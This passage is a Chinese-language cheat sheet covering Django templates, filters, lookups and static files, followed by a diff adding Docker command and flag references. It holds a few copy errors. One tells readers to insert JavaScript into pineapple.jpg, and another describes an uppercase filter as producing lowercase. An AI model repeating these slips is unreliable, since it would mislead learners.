通过导航到 `/myworld` 文件夹启动服务器并执行以下命令:
|
||||
|
||||
```bash
|
||||
$ py manage.py runserver
|
||||
```
|
||||
|
||||
在浏览器窗口的地址栏中输入 127.0.0.1:8000/members/
|
||||
|
||||
### 创建表(模型)
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
在 `/members/` 文件夹中,打开 `models.py` 文件。要在我们的数据库中添加成员表,首先创建一个成员类,并描述其中的表字段:
|
||||
|
||||
```py
|
||||
from django.db import models
|
||||
|
||||
class Members(models.Model):
|
||||
firstname = models.CharField(max_length=255)
|
||||
lastname = models.CharField(max_length=255)
|
||||
```
|
||||
|
||||
然后导航到 `/myworld/` 文件夹并运行以下命令:
|
||||
|
||||
```bash
|
||||
$ py manage.py makemigrations members
|
||||
# Migrations for 'members':
|
||||
# members\migrations\0001_initial.py
|
||||
# - Create model Members
|
||||
```
|
||||
|
||||
创建一个包含任何新更改的文件并将该文件存储在 `/migrations/` 文件夹中。下次运行 `py manage.py migrate` 时,Django 将根据迁移文件夹中新文件的内容创建并执行一条 SQL 语句。运行迁移命令:
|
||||
|
||||
```bash
|
||||
$ py manage.py migrate
|
||||
```
|
||||
|
||||
从模型创建的 SQL 语句是:
|
||||
|
||||
```sql
|
||||
CREATE TABLE "members_members" (
|
||||
"id" INT NOT NULL PRIMARY KEY AUTOINCREMENT,
|
||||
"firstname" varchar(255) NOT NULL,
|
||||
"lastname" varchar(255) NOT NULL
|
||||
);
|
||||
```
|
||||
|
||||
Django 模板
|
||||
---
|
||||
|
||||
### 模板变量
|
||||
<!--rehype:wrap-class=col-span-2 row-span-2-->
|
||||
|
||||
```django
|
||||
<!-- template.html -->
|
||||
<h1>你好 {{ firstname }},你好吗?</h1>
|
||||
```
|
||||
|
||||
在视图 (`views.py`) 中创建变量,上面示例中的变量 `firstname` 通过视图发送到模板:
|
||||
|
||||
```py
|
||||
from django.http import HttpResponse
|
||||
from django.template import loader
|
||||
|
||||
def testing(request):
|
||||
template = loader.get_template('template.html')
|
||||
context = {
|
||||
'firstname': '狂徒张三',
|
||||
}
|
||||
return HttpResponse(template.render(context, request))
|
||||
```
|
||||
|
||||
### 模板中创建变量
|
||||
|
||||
```django
|
||||
{% with firstname="Tobias" %}
|
||||
<h1>你好 {{ firstname }},你好吗?</h1>
|
||||
```
|
||||
|
||||
### 数组循环
|
||||
|
||||
```django
|
||||
<ul>
|
||||
{% for x in mymembers %}
|
||||
<li>{{ x.firstname }}</li>
|
||||
{% endfor %}
|
||||
</ul>
|
||||
```
|
||||
|
||||
### 模板标签参考
|
||||
<!--rehype:wrap-class=row-span-5-->
|
||||
|
||||
标签 | 描述
|
||||
:- | :-
|
||||
`autoescape` | 指定自动转义模式是打开还是关闭
|
||||
`block` | 指定块部分
|
||||
`comment` | 指定注释部分
|
||||
`csrf_token` | 保护表单免受跨站点请求伪造
|
||||
`cycle` | 指定要在循环的每个循环中使用的内容
|
||||
`debug` | 指定调试信息
|
||||
`extends` | 指定父模板
|
||||
`filter` | 在返回之前过滤内容
|
||||
`firstof` | 返回第一个非空变量
|
||||
`for` | 指定一个 for 循环
|
||||
`if` | 指定一个 if 语句
|
||||
`ifchanged` | 仅当自上次迭代以来值已更改时才输出块<br> _(用于 for 循环)_
|
||||
`include` | 指定包含的内容/模板
|
||||
`load` | 从另一个库加载模板标签
|
||||
`lorem` | 输出随机文本
|
||||
`now` | 输出当前日期/时间
|
||||
`regroup` | 按组对对象进行排序
|
||||
`resetcycle` | 循环使用,重置循环
|
||||
`spaceless` | 删除 HTML 标签之间的空格
|
||||
`templatetag` | 输出指定的模板标签
|
||||
`url` | 返回 URL 的绝对 URL 部分
|
||||
`verbatim` | 指定不应由模板引擎呈现的内容
|
||||
`widthratio` | 给定值和最大值之间的比率计算宽度值
|
||||
`with` | 指定要在块中使用的变量
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
### If 语句
|
||||
|
||||
```django
|
||||
{% if greeting == 1 %}
|
||||
<h1>Hello</h1>
|
||||
{% elif greeting == 2 %}
|
||||
<h1>Welcome</h1>
|
||||
{% else %}
|
||||
<h1>Goodbye</h1>
|
||||
{% endif %}
|
||||
```
|
||||
|
||||
### For 循环
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```django
|
||||
{% for x in cars %}
|
||||
<h1>{{ x.brand }}</h1>
|
||||
<p>{{ x.model }}</p>
|
||||
<p>{{ x.year }}</p>
|
||||
{% endfor %}
|
||||
```
|
||||
|
||||
数据 cars 空的展示内容:
|
||||
|
||||
```django
|
||||
<ul>
|
||||
{% for x in cars %}
|
||||
<h1>{{ x.brand }}</h1>
|
||||
<p>{{ x.model }}</p>
|
||||
<p>{{ x.year }}</p>
|
||||
{% empty %}
|
||||
<li>No members</li>
|
||||
{% endfor %}
|
||||
</ul>
|
||||
```
|
||||
|
||||
### 循环变量
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
- `forloop.counter` 当前循环,从 1 开始
|
||||
- `forloop.counter0` 当前循环,从 0 开始
|
||||
- `forloop.first` 循环是否在其第一次循环中
|
||||
- `forloop.last` 循环是否在其最后一次循环中
|
||||
- `forloop.parentloop`
|
||||
- `forloop.revcounter` 如果从末尾开始并向后计数,则以 1 结束
|
||||
- `forloop.revcounter0` 如果从末尾开始并向后计数,则以 0 结束
|
||||
|
||||
### 过滤值
|
||||
|
||||
```django
|
||||
<h1>你好 {{ firstname|upper }},你好吗?</h1>
|
||||
```
|
||||
|
||||
返回带有大写字母的变量名
|
||||
|
||||
### 注释
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```django
|
||||
<h1>欢迎大家{# 较小的注释 #}</h1>
|
||||
{% comment %}
|
||||
<h1>欢迎女士们先生们</h1>
|
||||
{% endcomment %}
|
||||
```
|
||||
|
||||
#### 注释描述
|
||||
|
||||
```django
|
||||
<h1>欢迎大家{# 较小的注释 #}</h1>
|
||||
{% comment "这是最初的欢迎信息" %}
|
||||
<h1>欢迎女士们先生们</h1>
|
||||
{% endcomment %}
|
||||
```
|
||||
|
||||
注释允许您拥有应该被忽略的代码部分
|
||||
|
||||
### 双过滤值
|
||||
|
||||
```django
|
||||
<h1>你好 {{ firstname|first|upper }},你好吗?</h1>
|
||||
```
|
||||
|
||||
返回变量 `firstname` 的第一个字符,小写
|
||||
|
||||
### 过滤器标签
|
||||
|
||||
```django
|
||||
{% filter upper %}
|
||||
<h1>Hello everyone, how are you?</h1>
|
||||
{% endfilter %}
|
||||
```
|
||||
|
||||
返回内容大写
|
||||
|
||||
### cycle
|
||||
<!--rehype:wrap-class=col-span-2 row-span-3-->
|
||||
|
||||
如果你想为每次循环使用新的背景颜色,你可以使用 `cycle` 标签来做到这一点
|
||||
|
||||
```django
|
||||
<ul>
|
||||
{% for x in members %}
|
||||
<li style='background-color:{% cycle 'lightblue' 'pink' 'yellow' 'coral' 'grey' %}'>
|
||||
{{ x.firstname }}
|
||||
</li>
|
||||
{% endfor %}
|
||||
</ul>
|
||||
```
|
||||
|
||||
将参数值保存在变量中,以便以后使用:
|
||||
|
||||
```django
|
||||
<ul>
|
||||
{% for x in members %}
|
||||
{% cycle 'lightblue' 'pink' 'yellow' 'coral' 'grey' as bgcolor silent %}
|
||||
<li style='background-color:{{ bgcolor }}'>
|
||||
{{ x.firstname }}
|
||||
</li>
|
||||
{% endfor %}
|
||||
</ul>
|
||||
```
|
||||
|
||||
你注意到 `silent` 关键字了吗? 确保添加这个,否则参数值将在输出中显示两次
|
||||
|
||||
```django
|
||||
<ul>
|
||||
{% for x in members %}
|
||||
{% cycle 'lightblue' 'pink' 'yellow' 'coral' 'grey' as bgcolor silent %}
|
||||
{% if forloop.counter == 3 %}
|
||||
{% resetcycle %}
|
||||
{% endif %}
|
||||
<li style='background-color:{{ bgcolor }}'>
|
||||
{{ x.firstname }}
|
||||
</li>
|
||||
{% endfor %}
|
||||
</ul>
|
||||
```
|
||||
|
||||
您可以使用 `{% resetcycle %}` 标签强制循环重新开始
|
||||
|
||||
### 每一行添加行号
|
||||
|
||||
```django
|
||||
{% filter upper|linenumbers %}Hello!
|
||||
my name is
|
||||
Emil.
|
||||
What is your name?{% endfilter %}
|
||||
```
|
||||
|
||||
返回内容`大写`并在每一行添加`行号`
|
||||
|
||||
### 导入模板
|
||||
|
||||
`footer.html`:
|
||||
|
||||
```django
|
||||
<p>您已到达本页底部,感谢您抽出宝贵时间</p>
|
||||
```
|
||||
|
||||
`template.html`:
|
||||
|
||||
```django
|
||||
<h1>Hello</h1>
|
||||
<p>此页面包含模板中的页脚</p>
|
||||
{% include 'footer.html' %}
|
||||
```
|
||||
|
||||
### 导入模板传入变量
|
||||
|
||||
`mymenu.html`:
|
||||
|
||||
```django
|
||||
<div>HOME | {{ me }} | ABOUT | FORUM | {{ sponsor }}</div>
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
`template.html`:
|
||||
|
||||
```django
|
||||
{% include mymenu.html with me="张三" sponsor="Reference" %}
|
||||
|
||||
<h1>Welcome</h1>
|
||||
|
||||
<p>This is my webpage</p>
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 过滤器参考
|
||||
<!--rehype:wrap-class=col-span-2 row-span-2-->
|
||||
|
||||
Keyword | 描述
|
||||
:- | :-
|
||||
`add` | 添加指定的值
|
||||
`addslashes` | 在任何引号字符之前添加一个斜杠,以转义字符串
|
||||
`capfirst` | 返回大写的第一个字母
|
||||
`center` | 使值在指定宽度的中间居中
|
||||
`cut` | 删除任何指定的字符或短语
|
||||
`date` | 以指定格式返回日期
|
||||
`default` | 如果值为 `False`,则返回指定值
|
||||
`default_if_none` | 如果值为 `None`,则返回指定的值
|
||||
`dictsort` | 按给定值对字典进行排序
|
||||
`dictsortreversed` | 按给定值对字典进行反向排序
|
||||
`divisibleby` | 如果该值可以除以指定的数字,则返回 `True`,否则返回 `False`
|
||||
`escape` | 从字符串中转义 `HTML` 代码
|
||||
`escapejs` | 从字符串中转义 `JavaScript` 代码
|
||||
`filesizeformat` | 将数字返回为文件大小格式
|
||||
`first` | 返回对象的第一项(对于字符串,返回第一个字符)
|
||||
`floatformat` | 将浮点数四舍五入到指定的小数位数,默认为一位小数
|
||||
`force_escape` | 从字符串中转义 `HTML` 代码
|
||||
`get_digit` | 返回数字的特定数字
|
||||
`iriencode` | 将 `IRI` 转换为 `URL` 友好字符串
|
||||
`join` | 将列表中的项目返回为字符串
|
||||
`json_script` | 将一个对象返回为由 `<script></script>` 标签包围的 `JSON` 对象
|
||||
`last` | 返回对象的最后一项(对于字符串,返回最后一个字符)
|
||||
`length` | 返回对象中的项目数,或字符串中的字符数
|
||||
`length_is` | 如果长度与指定的数字相同,则返回 `True`
|
||||
`linebreaks` | 返回带有 `<br>` 而不是换行符和 `<p>` 而不是多个换行符的文本
|
||||
`linebreaksbr` | 返回带有 `<br>` 的文本,而不是换行符
|
||||
`linenumbers` | 返回每行带有行号的文本
|
||||
`ljust` | 根据指定的宽度左对齐值
|
||||
`lower` | 以小写字母返回文本
|
||||
`make_list` | 将值转换为列表对象
|
||||
`phone2numeric` | 将带字母的电话号码转换为数字电话号码
|
||||
`pluralize` | 如果指定的数值不是 `1`,则在值的末尾添加一个 `s`
|
||||
`pprint` |
|
||||
`random` | 返回对象的随机项
|
||||
`rjust` | 根据指定的宽度右对齐值
|
||||
`safe` | 标记此文本是安全的,不应进行 `HTML` 转义
|
||||
`safeseq` | 将对象的每个项目标记为安全且项目不应进行 `HTML` 转义
|
||||
`slice` | 返回文本或对象的指定切片
|
||||
`slugify` | 将文本转换为一个长字母数字小写单词
|
||||
`stringformat` | 将值转换为指定格式
|
||||
`striptags` | 从文本中删除 `HTML` 标记
|
||||
`time` | 以指定格式返回时间
|
||||
`timesince` | 返回两个日期时间之间的差
|
||||
`timeuntil` | 返回两个日期时间之间的差
|
||||
`title` | 文本中每个单词的第一个字符大写,所有其他字符都转换为小写
|
||||
`truncatechars` | 将字符串缩短为指定数量的字符
|
||||
`truncatechars_html` | 将字符串缩短为指定数量的字符,而不考虑任何 `HTML` 标记的长度
|
||||
`truncatewords` | 将字符串缩短为指定数量的单词
|
||||
`truncatewords_html` | 将字符串缩短为指定数量的单词,而不考虑任何 `HTML` 标记
|
||||
`unordered_list` | 将对象的项目返回为无序列的 `HTML` 列表
|
||||
`upper` | 以大写字母返回文本
|
||||
`urlencode` | `URL` 对字符串进行编码
|
||||
`urlize` | 将字符串中的任何 `URL` 作为 `HTML` 链接返回
|
||||
`urlizetrunc` | 将字符串中的任何 `URL` 作为 `HTML` 链接返回,但会将链接缩短为指定的字符数
|
||||
`wordcount` | 返回文本中的单词数
|
||||
`wordwrap` | 以指定的字符数换行
|
||||
`yesno` | 将布尔值转换为指定值
|
||||
`i18n` |
|
||||
`l10n` |
|
||||
`tz` |
|
||||
|
||||
### 字段查询参考
|
||||
|
||||
Keyword | 描述
|
||||
:- | :-
|
||||
`contains` | 包含短语
|
||||
`icontains` | 与包含相同,但不区分大小写
|
||||
`date` | 匹配日期
|
||||
`day` | 匹配日期(日期,1-31)(日期)
|
||||
`endswith` | 以。。结束
|
||||
`iendswith` | 与 endwidth 相同,但不区分大小写
|
||||
`exact` | 完全匹配
|
||||
`iexact` | 与精确相同,但不区分大小写
|
||||
`in` | 匹配其中一个值
|
||||
`isnull` | 匹配 NULL 值
|
||||
`gt` | 比...更棒
|
||||
`gte` | 大于或等于
|
||||
`hour` | 匹配一个小时(对于日期时间)
|
||||
`lt` | 少于
|
||||
`lte` | 小于或等于
|
||||
`minute` | 匹配一分钟(对于日期时间)
|
||||
`month` | 匹配一个月(日期)
|
||||
`quarter` | 匹配一年中的一个季度 (1-4)(用于日期)
|
||||
`range` | 之间的匹配
|
||||
`regex` | 匹配正则表达式
|
||||
`iregex` | 与正则表达式相同,但不区分大小写
|
||||
`second` | 匹配一秒(对于日期时间)
|
||||
`startswith` | 以 ... 开始
|
||||
`istartswith` | 与 `startswith` 相同,但不区分大小写
|
||||
`time` | 匹配时间(用于日期时间)
|
||||
`week` | 匹配周数 (`1-53`)(用于日期)
|
||||
`week_day` | 匹配一周中的某一天 (1-7) 1 是星期日
|
||||
`iso_week_day` | 匹配 ISO 8601 星期几 (1-7) 1 是星期一
|
||||
`year` | 匹配一年(日期)
|
||||
`iso_year` | 匹配 ISO 8601 年份(日期)
|
||||
|
||||
添加静态文件
|
||||
---
|
||||
|
||||
### 添加 CSS 文件
|
||||
|
||||
```bash {7}
|
||||
myworld
|
||||
├┈ manage.py
|
||||
├┈ myworld/
|
||||
╰┈ members/
|
||||
├┈ templates/
|
||||
├┈ static/
|
||||
╰┈ myfirst.css
|
||||
```
|
||||
|
||||
打开 `CSS` 文件 (`members/static/myfirst.css`) 并插入以下内容:
|
||||
|
||||
```css
|
||||
body {
|
||||
background-color: lightblue;
|
||||
font-family: verdana;
|
||||
}
|
||||
```
|
||||
|
||||
修改模板 (`members/templates/template.html`) 引入 css 文件
|
||||
|
||||
```django {1,4}
|
||||
{% load static %}
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<link rel="stylesheet" href="{% static 'myfirst.css' %}">
|
||||
<body>
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 添加 JS 文件
|
||||
|
||||
```bash {7}
|
||||
myworld
|
||||
├┈ manage.py
|
||||
├┈ myworld/
|
||||
╰┈ members/
|
||||
├┈ templates/
|
||||
├┈ static/
|
||||
╰┈ myfirst.js
|
||||
```
|
||||
|
||||
打开 `JS` 文件 (`members/static/myfirst.js`) 并插入以下内容:
|
||||
|
||||
```js
|
||||
function myFunction() {
|
||||
alert("Hello from a static file!");
|
||||
}
|
||||
```
|
||||
|
||||
修改模板 (`members/templates/template.html`) 引入 `JS` 文件
|
||||
|
||||
```django {1,4,6}
|
||||
{% load static %}
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<script src="{% static 'myfirst.js' %}"></script>
|
||||
<body>
|
||||
<button onclick="myFunction()">Click me!</button>
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 添加图片文件
|
||||
|
||||
```bash {7}
|
||||
myworld
|
||||
├┈ manage.py
|
||||
├┈ myworld/
|
||||
╰┈ members/
|
||||
├┈ templates/
|
||||
├┈ static/
|
||||
╰┈ pineapple.jpg
|
||||
```
|
||||
|
||||
打开 `JS` 文件 (`members/static/pineapple.jpg`) 并插入以下内容:
|
||||
|
||||
```js
|
||||
function myFunction() {
|
||||
alert("Hello from a static file!");
|
||||
}
|
||||
```
|
||||
|
||||
修改模板 (`members/templates/template.html`) 引入 `jpg` 文件
|
||||
|
||||
```django {1,5}
|
||||
{% load static %}
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<body>
|
||||
<img src="{% static 'pineapple.jpg' %}">
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
另见
|
||||
----
|
||||
|
||||
- [Django 官网](https://www.djangoproject.com/) _(djangoproject.com)_
|
||||
- [Django 教程](https://www.runoob.com/django/django-tutorial.html) _(runoob.com)_
|
||||
- [Django 框架教程](http://c.biancheng.net/django/) _(biancheng.net)_
|
||||
- [Django 4 中文教程](https://www.w3cschool.cn/django4/) _(w3cschool.cn)_
|
||||
- [Django Tutorial](https://www.w3schools.com/django/index.php) _(w3schools.com)_
|
317
docs/docker.md
317
docs/docker.md
@ -21,7 +21,6 @@ $ docker run -d -p 80:80 docker/getting-started
|
||||
- `-p 80:80` - 将端口 80 映射到容器中的端口 80
|
||||
- `docker/getting-started` - 要使用的镜像
|
||||
|
||||
|
||||
在前台创建并运行容器
|
||||
|
||||
```shell
|
||||
@ -86,7 +85,6 @@ Docker 容器
|
||||
`docker stats nginx-server` | 容器资源使用
|
||||
`docker diff nginx-server` | 列出对容器所做的更改
|
||||
|
||||
|
||||
### 创建容器
|
||||
|
||||
```shell
|
||||
@ -134,6 +132,7 @@ Docker 镜像
|
||||
<!--rehype:body-class=cols-2-->
|
||||
|
||||
### 操控
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
| `Example` | Description |
|
||||
|-----------|-----------|
|
||||
@ -159,6 +158,12 @@ $ docker build -f myOtherDockerfile .
|
||||
$ curl example.com/remote/Dockerfile | docker build -f - .
|
||||
```
|
||||
|
||||
### 删除 \<none> 镜像
|
||||
|
||||
```bash
|
||||
$ docker rmi -f $(docker images | grep "none" | awk '{print $3}')
|
||||
```
|
||||
|
||||
Docker 网络
|
||||
----
|
||||
<!--rehype:body-class=cols-2-->
|
||||
@ -228,9 +233,9 @@ docker network create -d overlay \
|
||||
| Docker 语法 | 说明 |
|
||||
|------------|------|
|
||||
`docker search search_word` | 在 docker hub 中搜索镜像。
|
||||
`docker pull user/image ` | 从 docker hub 下载镜像。
|
||||
`docker login ` | 向 docker hub 进行身份验证
|
||||
`docker push user/image ` | 将镜像上传到 docker hub。
|
||||
`docker pull user/image` | 从 docker hub 下载镜像。
|
||||
`docker login` | 向 docker hub 进行身份验证
|
||||
`docker push user/image` | 将镜像上传到 docker hub。
|
||||
|
||||
### 镜像仓库命令
|
||||
<!--rehype:wrap-class=row-span-3-->
|
||||
@ -350,9 +355,309 @@ $ docker volume prune
|
||||
`docker-machine scp docker-compose.yml myvm1:~` | 将文件复制到节点的主目录
|
||||
`docker-machine ssh myvm1 "docker stack deploy -c <file> <app>"` | 部署应用
|
||||
|
||||
### docker 主要命令
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`attach` | 将本地标准输入、输出和错误流附加到正在运行的容器
|
||||
`build` | 从 Dockerfile 构建镜像
|
||||
`commit` | 从容器的更改创建新图像
|
||||
`cp` | 在容器和本地文件系统之间复制文件/文件夹
|
||||
`create` | 创建一个新容器
|
||||
`diff` | 检查容器文件系统上文件或目录的更改
|
||||
`events` | 从服务器获取实时事件
|
||||
`exec` | 在正在运行的容器中运行命令
|
||||
`export` | 将容器的文件系统导出为 tar 存档
|
||||
`history` | 显示图像的历史
|
||||
`images` | 列出图像
|
||||
`import` | 从 tarball 导入内容以创建文件系统映像
|
||||
`info` | 显示系统范围的信息
|
||||
`inspect` | 返回有关 Docker 对象的低级信息
|
||||
`kill` | 杀死一个或多个正在运行的容器
|
||||
`load` | 从 tar 存档或 STDIN 加载图像
|
||||
`login` | 登录到 Docker 注册表
|
||||
`logout` | 从 Docker 注册表中注销
|
||||
`logs` | 获取容器的日志
|
||||
`pause` | 暂停一个或多个容器内的所有进程
|
||||
`port` | 列出容器的端口映射或特定映射
|
||||
`ps` | 列出容器
|
||||
`pull` | 从注册表中提取图像或存储库
|
||||
`push` | 将图像或存储库推送到注册表
|
||||
`rename` | 重命名容器
|
||||
`restart` | 重启一个或多个容器
|
||||
`rm` | 移除一个或多个容器
|
||||
`rmi` | 移除一张或多张图片
|
||||
`run` | 在新容器中运行命令
|
||||
`save` | 将一个或多个图像保存到 tar 存档(默认流式传输到 STDOUT)
|
||||
`search` | 在 `Docker Hub` 中搜索图像
|
||||
`start` | 启动一个或多个停止的容器
|
||||
`stats` | 显示容器资源使用统计的实时流
|
||||
`stop` | 停止一个或多个正在运行的容器
|
||||
`tag` | 创建一个引用 SOURCE_IMAGE 的标记 TARGET_IMAGE
|
||||
`top` | 显示容器的运行进程
|
||||
`unpause` | 取消暂停一个或多个容器中的所有进程
|
||||
`update` | 更新一个或多个容器的配置
|
||||
`version` | 显示 Docker 版本信息
|
||||
`wait` | 阻塞直到一个或多个容器停止,然后打印它们的退出代码
|
||||
|
||||
### docker run/create
|
||||
<!--rehype:wrap-class=row-span-3-->
|
||||
|
||||
```bash
|
||||
--add-host list # 添加自定义主机到 IP 映射 (host:ip)
|
||||
-a, --attach list # 连接到 STDIN、STDOUT 或 STDERR
|
||||
--blkio-weight uint16 # 块 IO(相对权重),介于 10 和 1000 之间,或 0 禁用(默认 0)
|
||||
--blkio-weight-device list # 块 IO 权重(相对设备权重)(默认 [])
|
||||
--cap-add list # 添加 Linux 功能
|
||||
--cap-drop list # 放弃 Linux 功能
|
||||
--cgroup-parent string # 容器的可选父 cgroup
|
||||
--cgroupns string # 要使用的 Cgroup 命名空间(主机|私有)
|
||||
# 'host': 在 Docker 主机的 cgroup 命名空间中运行容器
|
||||
# 'private': 在自己的私有 cgroup 命名空间中运行容器
|
||||
# '': 使用由守护进程上的
|
||||
# default-cgroupns-mode 选项配置的 cgroup 命名空间(默认)
|
||||
--cidfile string # 将容器 ID 写入文件
|
||||
--cpu-period int # 限制 CPU CFS(完全公平调度器)周期
|
||||
--cpu-quota int # 限制 CPU CFS(完全公平调度器)配额
|
||||
--cpu-rt-period int # 以微秒为单位限制 CPU 实时周期
|
||||
--cpu-rt-runtime int # 以微秒为单位限制 CPU 实时运行时间
|
||||
-c, --cpu-shares int # CPU 份额(相对权重)
|
||||
--cpus decimal # CPU 数量
|
||||
--cpuset-cpus string # 允许执行的 CPU (0-3, 0,1)
|
||||
--cpuset-mems string # 允许执行的 MEM (0-3, 0,1)
|
||||
--device list # 将主机设备添加到容器
|
||||
--device-cgroup-rule list # 将规则添加到 cgroup 允许的设备列表
|
||||
--device-read-bps list # 限制设备的读取速率(每秒字节数)(默认 [])
|
||||
--device-read-iops list # 限制设备的读取速率(每秒 IO)(默认 [])
|
||||
--device-write-bps list # 限制设备的写入速率(每秒字节数)(默认 [])
|
||||
--device-write-iops list # 限制设备的写入速率(每秒 IO)(默认 [])
|
||||
--disable-content-trust # 跳过图像验证(默认为 true)
|
||||
--dns list # 设置自定义 DNS 服务器
|
||||
--dns-option list # 设置 DNS 选项
|
||||
--dns-search list # 设置自定义 DNS 搜索域
|
||||
--domainname string # 容器 NIS 域名
|
||||
--entrypoint string # 覆盖图像的默认入口点
|
||||
-e, --env list # 设置环境变量
|
||||
--env-file list # 读入环境变量文件
|
||||
--expose list # 公开一个端口或一系列端口
|
||||
--gpus gpu-request # 要添加到容器中的 GPU 设备(“全部”以传递所有 GPU)
|
||||
--group-add list # 添加其他组以加入
|
||||
--health-cmd string # 运行以检查运行状况的命令
|
||||
--health-interval duration # 运行检查之间的时间 (ms|s|m|h) (默认 0s)
|
||||
--health-retries int # 需要报告不健康的连续失败
|
||||
--health-start-period duration # 开始健康重试倒计时之前容器初始化的开始时间(ms|s|m|h)(默认 0s)
|
||||
--health-timeout duration # 允许运行一项检查的最长时间 (ms|s|m|h) (默认 0s)
|
||||
--help # 打印使用
|
||||
-h, --hostname string # 容器主机名
|
||||
--init # 在容器内运行一个 init 来转发信号并收获进程
|
||||
-i, --interactive # 即使没有连接,也保持 STDIN 打开
|
||||
--ip string # IPv4 地址(例如 172.30.100.104)
|
||||
--ip6 string # IPv6 地址(例如,2001:db8::33)
|
||||
--ipc string # 要使用的 IPC 模式
|
||||
--isolation string # 容器隔离技术
|
||||
--kernel-memory bytes # 内核内存限制
|
||||
-l, --label list # 在容器上设置元数据
|
||||
--label-file list # 读入以行分隔的标签文件
|
||||
--link list # 添加到另一个容器的链接
|
||||
--link-local-ip list # 容器 IPv4/IPv6 链路本地地址
|
||||
--log-driver string # 容器的日志记录驱动程序
|
||||
--log-opt list # 日志驱动程序选项
|
||||
--mac-address string # 容器 MAC 地址(例如 92:d0:c6:0a:29:33)
|
||||
-m, --memory bytes # 内存限制
|
||||
--memory-reservation bytes # 内存软限制
|
||||
--memory-swap bytes # 交换限制等于内存加上交换:'-1' 启用无限交换
|
||||
--memory-swappiness int # 调整容器内存交换(0 到 100)(默认 -1)
|
||||
--mount mount # 将文件系统挂载附加到容器
|
||||
--name string # 为容器分配名称
|
||||
--network network # 将容器连接到网络
|
||||
--network-alias list # 为容器添加网络范围的别名
|
||||
--no-healthcheck # 禁用任何容器指定的 HEALTHCHECK
|
||||
--oom-kill-disable # 禁用 OOM 杀手
|
||||
--oom-score-adj int # 调整主机的 OOM 首选项(-1000 到 1000)
|
||||
--pid string # 要使用的 PID 命名空间
|
||||
--pids-limit int # 调整容器 pids 限制(设置 -1 表示无限制)
|
||||
--platform string # 如果服务器支持多平台,则设置平台
|
||||
--privileged # 授予此容器扩展权限
|
||||
-p, --publish list # 将容器的端口发布到主机
|
||||
-P, --publish-all # 将所有暴露的端口发布到随机端口
|
||||
--pull string # 创建前拉取图像("always"|"missing"|"never")(默认"missing")
|
||||
--read-only # 将容器的根文件系统挂载为只读
|
||||
--restart string # 容器退出时应用的重启策略(默认“否”)
|
||||
--rm # 容器退出时自动移除
|
||||
--runtime string # 用于此容器的运行时
|
||||
--security-opt list # 安全选项
|
||||
--shm-size bytes # /dev/shm 的大小
|
||||
--stop-signal string # 停止容器的信号(默认“SIGTERM”)
|
||||
--stop-timeout int # 停止容器的超时(以秒为单位)
|
||||
--storage-opt list # 容器的存储驱动程序选项
|
||||
--sysctl map # Sysctl 选项(默认 map[])
|
||||
--tmpfs list # 挂载 tmpfs 目录
|
||||
-t, --tty # 分配一个伪 TTY
|
||||
--ulimit ulimit # ulimit 选项(默认 [])
|
||||
-u, --user string # 用户名或 UID(格式:<name|uid>[:<group|gid>])
|
||||
--userns string # 要使用的用户命名空间
|
||||
--uts string # 要使用的 UTS 命名空间
|
||||
-v, --volume list # 绑定挂载卷
|
||||
--volume-driver string # 容器的可选卷驱动程序
|
||||
--volumes-from list # 从指定容器挂载卷
|
||||
-w, --workdir string # 容器内的工作目录
|
||||
```
|
||||
|
||||
`run`/`create` 大部分参数一致
|
||||
|
||||
### docker 全局参数
|
||||
|
||||
```bash
|
||||
--config string # 客户端配置文件的位置(默认“~/.docker”)
|
||||
-c, --context string # 用于连接到守护程序的上下文的名称(
|
||||
# 覆盖 DOCKER_HOST 环境变量和使用“docker context use”设置的默认上下文)
|
||||
-D, --debug # 启用调试模式
|
||||
-H, --host list # 要连接的守护进程套接字
|
||||
-l, --log-level string # 设置日志级别("debug"\|"info"\|"warn"\|"error"\|"fatal") (默认“info”)
|
||||
--tls # 使用 TLS; 由 --tlsverify 暗示
|
||||
--tlscacert string # 仅由该 CA 签署的信任证书(默认为“~/.docker/ca.pem”)
|
||||
--tlscert string # TLS证书文件路径(默认“~/.docker/cert.pem”)
|
||||
--tlskey string # TLS 密钥文件的路径(默认为“~/.docker/key.pem”)
|
||||
--tlsverify # 使用 TLS 并验证远程
|
||||
-v, --version # 打印版本信息并退出
|
||||
```
|
||||
|
||||
### docker 管理命令
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`docker builder` | 管理构建
|
||||
`docker buildx*` | Docker Buildx(Docker Inc.,v0.7.1)
|
||||
`docker compose*` | Docker Compose(Docker Inc.,v2.2.3)
|
||||
`docker config` | 管理 Docker 配置
|
||||
`docker container` | 管理容器
|
||||
`docker context` | 管理上下文
|
||||
`docker image` | 管理图像
|
||||
`docker manifest` | 管理 Docker 镜像清单和清单列表
|
||||
`docker network` | 管理网络
|
||||
`docker node` | 管理 Swarm 节点
|
||||
`docker plugin` | 管理插件
|
||||
`docker scan*` | Docker 扫描(Docker Inc.,v0.16.0)
|
||||
`docker secret` | 管理 Docker 机密
|
||||
`docker service` | 管理服务
|
||||
`docker stack` | 管理 Docker 堆栈
|
||||
`docker swarm` | 管理群
|
||||
`docker system` | 管理 Docker
|
||||
`docker trust` | 管理对 Docker 映像的信任
|
||||
`docker volume` | 管理卷
|
||||
|
||||
### docker images
|
||||
|
||||
```bash
|
||||
-a, --all 显示所有图像(默认隐藏中间图像)
|
||||
--digests 显示摘要
|
||||
-f, --filter filter 根据提供的条件过滤输出
|
||||
--format string 使用 Go 模板打印漂亮的图像
|
||||
--no-trunc 不要截断输出
|
||||
-q, --quiet 仅显示图像 ID
|
||||
